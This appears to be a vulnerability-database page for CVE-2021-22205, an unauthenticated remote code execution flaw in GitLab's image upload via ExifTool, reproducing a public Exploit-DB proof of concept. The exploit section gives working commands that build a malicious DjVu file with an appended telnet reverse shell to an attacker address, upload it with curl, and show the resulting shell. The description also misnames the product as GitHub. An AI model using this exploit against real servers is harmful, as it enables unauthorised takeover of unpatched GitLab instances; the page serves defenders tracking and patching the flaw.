CVE-2021-22205

critical KEV

Published 2021-11-03 · Modified 2021-11-03

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CVSS v3

—

CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

GitHub Community and Enterprise Editions that utilize the ability to upload images through GitLab Workhorse are vulnerable to remote code execution. Workhorse passes image file extensions through ExifTool, which improperly validates the image files.

CISA KEV

Vendor: GitLab
Product: Community and Enterprise Editions
Due date: 2021-11-17

Predictions

Exploit likelihood

99%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-50532 webapps ruby text · 2 KB

Jacob Baines · 2021-11-17

GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)

text exploit Source: Exploit-DB

# Exploit Title: GitLab 13.10.2 - Remote Code Execution (RCE) (Unauthenticated)
# Shodan Dork: https://www.shodan.io/search?query=title%3A%22GitLab%22+%2B%22Server%3A+nginx%22
# Date: 11/01/2021
# Exploit Author: Jacob Baines
# Vendor Homepage: https://about.gitlab.com/
# Software Link: https://gitlab.com/gitlab-org/gitlab
# Version: GitLab Community Edition and Enterprise Edition before 13.10.3, 13.9.6, and 13.8.8
# Tested on: GitLab Community Edition 13.10.2 and 13.10.1 (Ubuntu)
# CVE : CVE-2021-22205
# Vendor Advisory: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/
# Root Cause Analysis: https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis?referrer=activityFeed

Code execution is the result of GitLab allowing remote unauthenticated attackers to provide DjVu files to ExifTool (see: CVE-2021-22204). As such, exploitation of GitLab takes two steps. First generating the payload and then sending it.

1. Generating the payload. This generates a DjVu image named lol.jpg that will trigger a reverse shell to 10.0.0.3 port 1270.

echo -e
"QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs="
| base64 -d > lol.jpg
echo -n 'TF=$(mktemp -u);mkfifo $TF && telnet 10.0.0.3 1270 0<$TF | sh 1>$TF' >> lol.jpg
echo -n
"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="
| base64 -d >> lol.jpg

2. Sending the payload. Any random endpoint will do.

curl -v -F 'file=@lol.jpg' http://10.0.0.7/$(openssl rand -hex 8)

2a. Sample Output from the reverse shell:

$ nc -lnvp 1270
Listening on [0.0.0.0] (family 0, port 1270)
Connection from [10.0.0.7] port 1270 [tcp/*] accepted (family 2, sport
34836)
whoami
git
id
uid=998(git) gid=998(git) groups=998(git)

Metasploit modules

exploit_multi/http/gitlab_exif_rce rank 600

GitLab Unauthenticated Remote ExifTool Command Injection

Source code queued for fetch — refresh in a moment.

OS impact

Arch Fixed 1 release

Version	Status	Fixed in
—	Fixed	`13.10.3-1`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.